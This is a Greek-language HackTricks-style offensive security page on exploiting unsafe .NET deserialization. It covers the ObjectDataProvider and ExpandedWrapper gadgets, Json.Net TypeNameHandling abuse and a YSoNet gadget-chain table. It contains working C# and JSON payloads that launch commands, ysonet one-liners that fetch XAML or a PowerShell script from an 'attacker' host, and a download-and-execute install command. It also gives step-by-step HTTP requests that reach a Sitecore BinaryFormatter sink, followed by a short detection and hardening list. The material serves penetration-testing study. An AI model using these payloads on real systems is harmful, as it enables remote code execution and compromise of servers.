Βασική .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτό το άρθρο αφιερώνεται στο να κατανοήσουμε πώς το gadget ObjectDataProvider εκμεταλλεύεται για να επιτευχθεί RCE και πώς οι βιβλιοθήκες Serialization Json.Net και xmlSerializer μπορούν να καταχραστούν με αυτό το gadget.

ObjectDataProvider Gadget

Από την τεκμηρίωση: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να τυλίξετε (wrap) ένα αυθαίρετο αντικείμενο, να χρησιμοποιήσετε MethodParameters για να ορίσετε αυθαίρετες παραμέτρους, και στη συνέχεια να χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση του αυθαίρετου αντικειμένου που δηλώθηκε χρησιμοποιώντας τις αυθαίρετες παραμέτρους.
Επομένως, το αυθαίρετο object θα εκτελέσει μια function με παραμέτρους κατά τη διάρκεια της απο-σειριοποίησης (deserialization).

Πώς είναι αυτό δυνατό

Ο χώρος ονομάτων System.Windows.Data, που βρίσκεται μέσα στο PresentationFramework.dll στο C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.

Χρησιμοποιώντας dnSpy μπορείτε να επιθεωρήσετε τον κώδικα της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Όπως μπορείτε να παρατηρήσετε όταν οριστεί το MethodName καλείται base.Refresh(), ας δούμε τι κάνει αυτό:

Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το this.BeginQuery(). Το BeginQuery υπερφορτώνεται (overridden) από το ObjectDataProvider και αυτό είναι που κάνει:

Σημειώστε ότι στο τέλος του κώδικα καλεί this.QueryWorke(null). Ας δούμε τι εκτελεί αυτό:

Σημειώστε ότι αυτός δεν είναι ο πλήρης κώδικας της συνάρτησης QueryWorker αλλά δείχνει το ενδιαφέρον μέρος της: Ο κώδικας καλεί this.InvokeMethodOnInstance(out ex); αυτή είναι η γραμμή όπου η ορισμένη μέθοδος εκτελείται.

Αν θέλετε να ελέγξετε ότι απλώς ορίζοντας το MethodName θα εκτελεστεί, μπορείτε να τρέξετε αυτόν τον κώδικα:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Σημειώστε ότι χρειάζεται να προσθέσετε ως αναφορά C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll για να φορτώσετε System.Windows.Data

ExpandedWrapper

Χρησιμοποιώντας το προηγούμενο exploit θα υπάρξουν περιπτώσεις όπου το object θα απο-σειριοποιηθεί ως μια ObjectDataProvider instance (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο απο-σειριοποιήθηκε χρησιμοποιώντας GetType). Έτσι, δεν θα υπάρχει γνώση του τύπου αντικειμένου που είναι περιτυλιγμένο στην ObjectDataProvider instance (Process για παράδειγμα). Μπορείτε να βρείτε περισσότερες πληροφορίες για το DotNetNuke vuln εδώ.

This class allows to specify the object types of the objects that are encapsulated in a given instance. So, this class can be used to encapsulate a source object (ObjectDataProvider) into a new object type and provide the properties we need (ObjectDataProvider.MethodName and ObjectDataProvider.MethodParameters).
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε παραπάνω, γιατί θα είμαστε σε θέση να wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance και when deserialized αυτή η κλάση θα create το OjectDataProvider αντικείμενο που θα execute τη function που υποδεικνύεται στο MethodName.

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Στην official web page αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Έτσι, αν μπορούσαμε να deserialize the ObjectDataProvider gadget, θα μπορούσαμε να προκαλέσουμε RCE απλά με το deserializing ενός αντικειμένου.

Json.Net παράδειγμα

Πρώτα απ' όλα, ας δούμε ένα παράδειγμα για το πώς να serialize/deserialize ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Κατάχρηση Json.Net

Χρησιμοποιώντας ysoserial.net δημιούργησα το exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Σε αυτόν τον κώδικα μπορείτε να δοκιμάσετε το exploit, απλώς τρέξτε το και θα δείτε ότι εκτελείται το calc:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Προηγμένες .NET Gadget Chains (YSoNet & ysoserial.net)

Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να κακοποιηθούν όταν μια εφαρμογή εκτελεί unsafe .NET deserialization. Συσκευές για σύγχρονα red-team όπως YSoNet (και το παλαιότερο ysoserial.net) αυτοματοποιούν τη δημιουργία έτοιμων προς χρήση κακόβουλων object graphs για δεκάδες gadgets και formats σειριοποίησης.

Παρακάτω υπάρχει μια συμπυκνωμένη αναφορά των πιο χρήσιμων chains που συνοδεύουν το YSoNet μαζί με μια σύντομη εξήγηση του πώς λειτουργούν και παραδείγματα εντολών για τη δημιουργία των payloads.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateΔιαφθείρει την εγγραφή DelegateSerializationHolder έτσι ώστε, μόλις υλοποιηθεί, ο delegate να δείχνει σε οποιαδήποτε μέθοδο που παρέχει ο επιτιθέμενος (π.χ. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorΚακοποιεί το System.Workflow.ComponentModel.ActivitySurrogateSelector για να παρακάμψει το .NET ≥4.8 type-filtering και να καλέσει απευθείας τον constructor μιας παρεχόμενης κλάσης ή να μεταγλωττίσει ένα αρχείο C# επί τόπουBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourΕπωφελείται από την παλιά XML αναπαράσταση του System.Data.DataSet για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία <ColumnMapping> / <DataType> (προαιρετικά πλαστογραφώντας το assembly με --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsΣε runtime με WPF ενεργοποιημένο (> .NET 5) αλυσιδώνει getters ιδιοτήτων μέχρι να φτάσει σε System.CodeDom.Compiler.CompilerResults, και στη συνέχεια μεταγλωττίζει ή φορτώνει μια DLL που παρέχεται με -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Χρησιμοποιεί το WPF System.Windows.Data.ObjectDataProvider για να καλέσει μια αυθαίρετη static μέθοδο με ελεγχόμενα ορίσματα. Το YSoNet προσθέτει μια βολική παραλλαγή --xamlurl για να φιλοξενήσει το κακόβουλο XAML απομακρυσμέναBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Ενσωματώνει ScriptBlock μέσα σε System.Management.Automation.PSObject που εκτελείται όταν το PowerShell αποσειριοποιεί το αντικείμενοPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Όλα τα payloads γράφονται στο stdout εξ ορισμού, καθιστώντας εύκολο το piping τους σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).

Κατασκευή / Εγκατάσταση YSoNet

Εάν δεν υπάρχουν προ-συγκροτημένα binaries στο Actions ➜ Artifacts / Releases, η παρακάτω PowerShell εντολή μιας γραμμής θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε λειτουργία Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Το μεταγλωττισμένο ysonet.exe μπορεί στη συνέχεια να βρεθεί στο ysonet/bin/Release/.

Ανίχνευση & Σκληροποίηση

  • Εντοπίστε μη αναμενόμενες παιδικές διεργασίες του w3wp.exe, PowerShell.exe, ή οποιασδήποτε διεργασίας πραγματοποιεί αποσειριοποίηση δεδομένων παρεχόμενων από τον χρήστη (π.χ. MessagePack, Json.NET).
  • Ενεργοποιήστε και επιβάλλετε φιλτράρισμα τύπων (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) όποτε ο legacy BinaryFormatter / NetDataContractSerializer δεν μπορεί να αφαιρεθεί.
  • Όπου είναι δυνατόν μεταβείτε σε System.Text.Json ή DataContractJsonSerializer με converters βασισμένους σε whitelist.
  • Αποκλείστε τη φόρτωση επικίνδυνων WPF assemblies (PresentationFramework, System.Workflow.*) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται.

Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Ένας πρακτικός .NET sink προσβάσιμος σε αυθεντικοποιημένες ροές του Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) τυλίγει new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, το οποίο αναζητά ένα αδελφό στοιχείο με id="{iframeId}_inner" και διαβάζει ένα attribute value που αντιμετωπίζεται ως base64‑encoded σειριοποιημένα δεδομένα. Το αποτέλεσμα μεταγλωττίζεται σε string και εισάγεται στο HTML.

Ελάχιστο end‑to‑end (αυθεντικοποιημένο):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: οποιαδήποτε BinaryFormatter chain που επιστρέφει ένα string (side‑effects τρέχουν κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads.

Για μια πλήρη αλυσίδα που ξεκινά pre‑auth με HTML cache poisoning στο Sitecore και οδηγεί σε αυτό το sink:

Sitecore

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks